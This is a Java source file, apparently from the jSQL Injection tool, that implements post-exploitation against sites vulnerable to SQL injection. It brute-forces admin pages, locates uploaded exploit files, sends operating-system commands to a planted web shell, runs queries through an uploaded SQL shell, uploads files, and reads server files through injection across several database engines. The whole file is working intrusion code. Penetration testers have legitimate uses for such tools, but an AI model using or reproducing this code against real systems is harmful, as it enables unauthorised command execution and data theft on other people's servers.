1
2
3
4
5
6
7
8
9
10
11 package com.jsql.model.accessible;
12
13 import com.jsql.model.InjectionModel;
14 import com.jsql.model.accessible.engine.*;
15 import com.jsql.model.bean.database.MockElement;
16 import com.jsql.model.suspendable.Input;
17 import com.jsql.view.subscriber.Seal;
18 import com.jsql.model.exception.JSqlException;
19 import com.jsql.model.suspendable.SuspendableGetRows;
20 import com.jsql.util.ConnectionUtil;
21 import com.jsql.util.LogLevelUtil;
22 import org.apache.commons.lang3.StringUtils;
23 import org.apache.logging.log4j.LogManager;
24 import org.apache.logging.log4j.Logger;
25
26 import java.io.File;
27 import java.io.IOException;
28 import java.io.InputStream;
29 import java.net.URI;
30 import java.net.URLEncoder;
31 import java.net.http.HttpHeaders;
32 import java.net.http.HttpRequest;
33 import java.net.http.HttpRequest.BodyPublishers;
34 import java.net.http.HttpResponse;
35 import java.net.http.HttpResponse.BodyHandlers;
36 import java.nio.charset.StandardCharsets;
37 import java.nio.file.Files;
38 import java.nio.file.Paths;
39 import java.time.Duration;
40 import java.util.*;
41 import java.util.concurrent.CompletionService;
42 import java.util.concurrent.ExecutionException;
43 import java.util.concurrent.ExecutorCompletionService;
44 import java.util.concurrent.ExecutorService;
45 import java.util.function.BinaryOperator;
46 import java.util.regex.Pattern;
47
48
49
50
51
52 public class ResourceAccess {
53
54 private static final Logger LOGGER = LogManager.getRootLogger();
55
56
57
58
59 private boolean isSearchAdminStopped = false;
60
61
62
63
64 private boolean isScanStopped = false;
65
66
67
68
69
70 private boolean isSearchFileStopped = false;
71
72
73
74
75 private final List<CallableFile> callablesReadFile = new ArrayList<>();
76 private final InjectionModel injectionModel;
77 private final ExploitSqlite exploitSqlite;
78 private final ExploitMysql exploitMysql;
79 private final ExploitOracle exploitOracle;
80 private final ExploitPostgres exploitPostgres;
81 private final ExploitHsqldb exploitHsqldb;
82 private final ExploitH2 exploitH2;
83 private final ExploitDerby exploitDerby;
84 private final ExploitSqlserver exploitSqlserver;
85
86
87 public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
88 public static final String WEB_CONFIRM_RESULT = "133717331";
89 public static final String SQL_CONFIRM_CMD = "select 1337";
90 public static final String SQL_CONFIRM_RESULT = "| 1337 |";
91
92 public static final String SQL_DOT_PHP = "sql.php";
93 public static final String EXPLOIT_DOT_UPL = "exploit.upl";
94 public static final String EXPLOIT_DOT_WEB = "exploit.web";
95 public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
96 public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
97
98 public static final String LOID_NOT_FOUND = "Exploit loid not found";
99 public static final String ADD_LOID = "loid#create";
100 public static final String WRITE_LOID = "loid#write";
101 public static final String READ_LOID = "loid#read";
102
103 public static final String DROP_FUNC = "func#drop";
104 public static final String ADD_FUNC = "body#add-func";
105 public static final String RUN_FUNC = "body#run-func";
106 public static final String BODY_CONFIRM = "body#confirm";
107 public static final String UDF_RUN_CMD = "udf#run-cmd";
108
109 public static final String TBL_CREATE = "tbl#create";
110 public static final String TBL_FILL = "tbl#fill";
111 public static final String TBL_DUMP = "tbl#dump";
112 public static final String TBL_DROP = "tbl#drop";
113 public static final String TBL_READ = "tbl#read";
114
115 public static final String FILE_READ = "file#read";
116
117
118 public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
119
120 public ResourceAccess(InjectionModel injectionModel) {
121 this.injectionModel = injectionModel;
122 this.exploitSqlite = new ExploitSqlite(injectionModel);
123 this.exploitMysql = new ExploitMysql(injectionModel);
124 this.exploitOracle = new ExploitOracle(injectionModel);
125 this.exploitPostgres = new ExploitPostgres(injectionModel);
126 this.exploitHsqldb = new ExploitHsqldb(injectionModel);
127 this.exploitH2 = new ExploitH2(injectionModel);
128 this.exploitDerby = new ExploitDerby(injectionModel);
129 this.exploitSqlserver = new ExploitSqlserver(injectionModel);
130 }
131
132
133
134
135
136 public int createAdminPages(String urlInjection, List<String> pageNames) {
137 var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
138 matcher.find();
139 String urlProtocol = matcher.group(1);
140 String urlWithoutProtocol = matcher.group(3);
141
142 List<String> folderSplits = new ArrayList<>();
143
144
145 if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
146 urlWithoutProtocol = "/dummy";
147 }
148 String[] splits = urlWithoutProtocol.split("/", -1);
149 String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
150 for (String folderName: folderNames) {
151 folderSplits.add(folderName +"/");
152 }
153
154 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetAdminPage");
155 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
156
157 var urlPart = new StringBuilder();
158 for (String segment: folderSplits) {
159 urlPart.append(segment);
160 for (String pageName: pageNames) {
161 taskCompletionService.submit(
162 new CallableHttpHead(
163 urlProtocol + urlPart + pageName,
164 this.injectionModel,
165 "check:page"
166 )
167 );
168 }
169 }
170
171 var nbAdminPagesFound = 0;
172 int submittedTasks = folderSplits.size() * pageNames.size();
173 int tasksHandled;
174 for (
175 tasksHandled = 0
176 ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
177 ; tasksHandled++
178 ) {
179 nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
180 }
181
182 this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
183 this.isSearchAdminStopped = false;
184 this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
185
186 return nbAdminPagesFound;
187 }
188
189 public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
190 int nbAdminPagesFoundFixed = nbAdminPagesFound;
191
192 try {
193 CallableHttpHead currentCallable = taskCompletionService.take().get();
194 if (currentCallable.isHttpResponseOk()) {
195 this.injectionModel.sendToViews(new Seal.CreateAdminPageTab(currentCallable.getUrl()));
196 nbAdminPagesFoundFixed++;
197 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
198 }
199 } catch (InterruptedException e) {
200 LOGGER.log(LogLevelUtil.IGNORE, e, e);
201 Thread.currentThread().interrupt();
202 } catch (ExecutionException e) {
203 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
204 }
205 return nbAdminPagesFoundFixed;
206 }
207
208 public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
209 var result = String.format(
210 "Searched %s/%s page%s: %s found",
211 tasksHandled,
212 submittedTasks,
213 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
214 nbAdminPagesFound
215 );
216
217 if (nbAdminPagesFound > 0) {
218 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
219 } else {
220 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
221 }
222 }
223
224 public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
225 String urlExploitFixed = urlExploit;
226 if (!urlExploitFixed.isEmpty()) {
227 urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
228 }
229 String url = urlExploitFixed;
230 if (StringUtils.isEmpty(url)) {
231 url = this.injectionModel.getMediatorUtils().connectionUtil().getUrlBase();
232 }
233 String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
234 String urlProtocol;
235 if ("/".equals(urlWithoutProtocol)) {
236 urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
237 } else {
238 urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
239 }
240
241 List<String> directoryNames = new ArrayList<>();
242 String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
243 if (urlWithoutFileName.split("/").length == 0) {
244 directoryNames.add("/");
245 }
246 for (String directoryName: urlWithoutFileName.split("/")) {
247 directoryNames.add(directoryName +"/");
248 }
249 String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
250 if (urlSuccess != null) {
251 urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
252 } else {
253 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
254 }
255 return urlSuccess;
256 }
257
258 private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
259 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetExploitUrl");
260 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
261 var urlPart = new StringBuilder();
262
263 for (String segment: directoryNames) {
264 urlPart.append(segment);
265 taskCompletionService.submit(
266 new CallableHttpHead(
267 urlProtocol + urlPart + filename,
268 this.injectionModel,
269 "xplt#confirm-url"
270 )
271 );
272 }
273
274 String urlSuccess = null;
275 int submittedTasks = directoryNames.size();
276 for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
277 try {
278 CallableHttpHead currentCallable = taskCompletionService.take().get();
279 if (currentCallable.isHttpResponseOk()) {
280 urlSuccess = currentCallable.getUrl();
281 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
282 break;
283 }
284 } catch (InterruptedException e) {
285 LOGGER.log(LogLevelUtil.IGNORE, e, e);
286 Thread.currentThread().interrupt();
287 } catch (ExecutionException e) {
288 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
289 }
290 }
291
292 this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
293 return urlSuccess;
294 }
295
296 public String callCommand(String urlCommand) {
297 return this.callCommand(urlCommand, false);
298 }
299
300 public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
301 String pageSource;
302 try {
303 pageSource = this.injectionModel.getMediatorUtils().connectionUtil().getSource(urlCommand, isConnectIssueIgnored);
304 } catch (Exception e) {
305 pageSource = StringUtils.EMPTY;
306 }
307
308 var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
309 regexSearch.find();
310
311 String result;
312
313 try {
314 result = regexSearch.group(1);
315 } catch (IllegalStateException e) {
316 result = StringUtils.EMPTY;
317 if (!isConnectIssueIgnored) {
318 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
319 }
320 }
321 return result;
322 }
323
324
325
326
327
328
329
330 public String runWebShell(String command, UUID uuidShell, String urlExploit) {
331 return this.runWebShell(command, uuidShell, urlExploit, false);
332 }
333 public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
334 String result = this.callCommand(
335 urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
336 isConnectIssueIgnored
337 );
338 if (StringUtils.isBlank(result)) {
339 result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
340 }
341 this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));
342 return result;
343 }
344
345
346
347
348
349
350
351
352
353 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
354 return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
355 }
356
357 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
358 String result = this.callCommand(String.format(
359 "%s?q=%s&u=%s&p=%s",
360 urlExploit,
361 URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
362 username,
363 password
364 ));
365
366 if (result.contains("<SQLr>")) {
367 List<List<String>> listRows = this.parse(result);
368 if (listRows.isEmpty()) {
369 result = "Result not found: check your credentials or review logs in tab Network\n";
370 } else {
371 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
372 result = this.convert(listRows, listFieldsLength);
373 }
374 }
375
376 if (isResultSentToView) {
377 this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));
378 }
379 return result;
380 }
381
382 private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
383 var tableText = new StringBuilder("+");
384 for (Integer fieldLength: listFieldsLength) {
385 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
386 }
387 tableText.append("\n");
388 for (List<String> listFields: listRows) {
389 tableText.append("|");
390 var cursorPosition = 0;
391 for (String field: listFields) {
392 tableText.append(StringUtils.SPACE)
393 .append(field)
394 .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
395 .append(" |");
396 cursorPosition++;
397 }
398 tableText.append("\n");
399 }
400 tableText.append("+");
401 for (Integer fieldLength: listFieldsLength) {
402 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
403 }
404 tableText.append("\n");
405 return tableText.toString();
406 }
407
408 private List<Integer> parseColumnLength(List<List<String>> listRows) {
409 List<Integer> listFieldsLength = new ArrayList<>();
410 for (
411 var indexLongestRowSearch = 0;
412 indexLongestRowSearch < listRows.getFirst().size();
413 indexLongestRowSearch++
414 ) {
415 int indexLongestRowSearchFinal = indexLongestRowSearch;
416 listRows.sort(
417 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
418 );
419 listFieldsLength.add(listRows.getFirst().get(indexLongestRowSearch).length());
420 }
421 return listFieldsLength;
422 }
423
424 private List<List<String>> parse(String result) {
425 List<List<String>> listRows = new ArrayList<>();
426 var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
427 while (rowsMatcher.find()) {
428 String values = rowsMatcher.group(1);
429 var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
430 List<String> listFields = new ArrayList<>();
431 listRows.add(listFields);
432
433 while (fieldsMatcher.find()) {
434 String field = fieldsMatcher.group(1);
435 listFields.add(field);
436 }
437 }
438 return listRows;
439 }
440
441 public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
442 var crLf = "\r\n";
443 var boundary = "---------------------------4664151417711";
444
445 var streamData = new byte[streamToUpload.available()];
446 if (streamToUpload.read(streamData) == -1) {
447 throw new JSqlException("Error reading the file");
448 }
449
450 String headerForm = StringUtils.EMPTY;
451 headerForm += "--"+ boundary + crLf;
452 headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
453 headerForm += "Content-Type: binary/octet-stream"+ crLf;
454 headerForm += crLf;
455
456 String headerFile = StringUtils.EMPTY;
457 headerFile += crLf +"--"+ boundary +"--"+ crLf;
458
459 var httpRequest = HttpRequest.newBuilder()
460 .uri(URI.create(url))
461 .timeout(Duration.ofSeconds(15))
462 .POST(BodyPublishers.ofByteArrays(
463 Arrays.asList(
464 headerForm.getBytes(StandardCharsets.UTF_8),
465 Files.readAllBytes(Paths.get(file.toURI())),
466 headerFile.getBytes(StandardCharsets.UTF_8)
467 )
468 ))
469 .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
470 .build();
471
472 var response = this.injectionModel.getMediatorUtils().connectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
473 HttpHeaders httpHeaders = response.headers();
474 String pageSource = response.body();
475
476 this.injectionModel.sendToViews(new Seal.MessageHeader(
477 url,
478 null,
479 ConnectionUtil.getHeadersMap(httpRequest.headers()),
480 ConnectionUtil.getHeadersMap(httpHeaders),
481 pageSource,
482 null,
483 null,
484 "upl#multipart",
485 null
486 ));
487 return response;
488 }
489
490
491
492
493
494
495 public boolean isMysqlReadDenied() throws JSqlException {
496 var sourcePage = new String[]{ StringUtils.EMPTY };
497 String resultInjection = new SuspendableGetRows(this.injectionModel).run(new Input(
498 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
499 sourcePage,
500 false,
501 1,
502 MockElement.MOCK,
503 "privilege"
504 ));
505
506 boolean readingIsAllowed = false;
507
508 if (StringUtils.isEmpty(resultInjection)) {
509 this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
510 this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
511 } else if ("false".equals(resultInjection)) {
512 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
513 this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
514 } else {
515 this.injectionModel.sendToViews(new Seal.MarkFileSystemVulnerable());
516 readingIsAllowed = true;
517 }
518
519 return !readingIsAllowed;
520 }
521
522
523
524
525
526
527
528
529
530
531 public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
532 if (
533 this.injectionModel.getMediatorEngine().getEngine() == this.injectionModel.getMediatorEngine().getMysql()
534 && this.isMysqlReadDenied()
535 ) {
536 return Collections.emptyList();
537 }
538
539 var countFileFound = 0;
540 var results = new ArrayList<String>();
541
542 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableReadFile");
543 CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
544
545 for (String pathFile: pathsFiles) {
546 var callableFile = new CallableFile(pathFile, this.injectionModel);
547 taskCompletionService.submit(callableFile);
548 this.callablesReadFile.add(callableFile);
549 }
550
551 List<String> duplicate = new ArrayList<>();
552 int submittedTasks = pathsFiles.size();
553 int tasksHandled;
554
555 for (
556 tasksHandled = 0
557 ; tasksHandled < submittedTasks && !this.isSearchFileStopped
558 ; tasksHandled++
559 ) {
560 var currentCallable = taskCompletionService.take().get();
561 if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
562 var name = currentCallable.getPathFile().substring(
563 currentCallable.getPathFile().lastIndexOf('/') + 1
564 );
565 String content = currentCallable.getSourceFile();
566 String path = currentCallable.getPathFile();
567
568 this.injectionModel.sendToViews(new Seal.CreateFileTab(name, content, path));
569
570 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
571 LOGGER.log(
572 LogLevelUtil.CONSOLE_INFORM,
573 "Folder exploit candidate: {}",
574 () -> path.replace(name, StringUtils.EMPTY)
575 );
576 }
577
578 duplicate.add(path.replace(name, StringUtils.EMPTY));
579 results.add(content);
580
581 countFileFound++;
582 }
583 }
584
585
586 for (CallableFile callableReadFile: this.callablesReadFile) {
587 callableReadFile.getSuspendableReadFile().stop();
588 }
589 this.callablesReadFile.clear();
590 this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
591 this.isSearchFileStopped = false;
592
593 var result = String.format(
594 "Searched %s/%s file%s: %s found",
595 tasksHandled,
596 submittedTasks,
597 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
598 countFileFound
599 );
600
601 if (countFileFound > 0) {
602 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
603 } else {
604 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
605 }
606 return results;
607 }
608
609 public String getResult(String query, String metadata) throws JSqlException {
610 var sourcePage = new String[]{ StringUtils.EMPTY };
611 return new SuspendableGetRows(this.injectionModel).run(new Input(
612 query,
613 sourcePage,
614 false,
615 0,
616 MockElement.MOCK,
617 metadata
618 ));
619 }
620
621 public String getResultWithCatch(String query, String metadata) {
622 var sourcePage = new String[]{ StringUtils.EMPTY };
623 try {
624 return new SuspendableGetRows(this.injectionModel).run(new Input(
625 query,
626 sourcePage,
627 false,
628 0,
629 MockElement.MOCK,
630 metadata
631 ));
632 } catch (JSqlException ignored) {
633 return StringUtils.EMPTY;
634 }
635 }
636
637
638
639
640
641
642 public void stopSearchFile() {
643 this.isSearchFileStopped = true;
644 for (CallableFile callable: this.callablesReadFile) {
645 callable.getSuspendableReadFile().stop();
646 }
647 }
648
649 public void stopSearchAdmin() {
650 this.isSearchAdminStopped = true;
651 }
652
653
654
655
656 public ExploitSqlite getExploitSqlite() {
657 return this.exploitSqlite;
658 }
659
660 public ExploitMysql getExploitMysql() {
661 return this.exploitMysql;
662 }
663
664 public ExploitOracle getExploitOracle() {
665 return this.exploitOracle;
666 }
667
668 public ExploitPostgres getExploitPostgres() {
669 return this.exploitPostgres;
670 }
671
672 public boolean isSearchAdminStopped() {
673 return this.isSearchAdminStopped;
674 }
675
676 public void setScanStopped(boolean isScanStopped) {
677 this.isScanStopped = isScanStopped;
678 }
679
680 public boolean isScanStopped() {
681 return this.isScanStopped;
682 }
683
684 public ExploitHsqldb getExploitHsqldb() {
685 return this.exploitHsqldb;
686 }
687
688 public ExploitH2 getExploitH2() {
689 return this.exploitH2;
690 }
691
692 public ExploitDerby getExploitDerby() {
693 return this.exploitDerby;
694 }
695
696 public ExploitSqlserver getExploitSqlserver() {
697 return this.exploitSqlserver;
698 }
699 }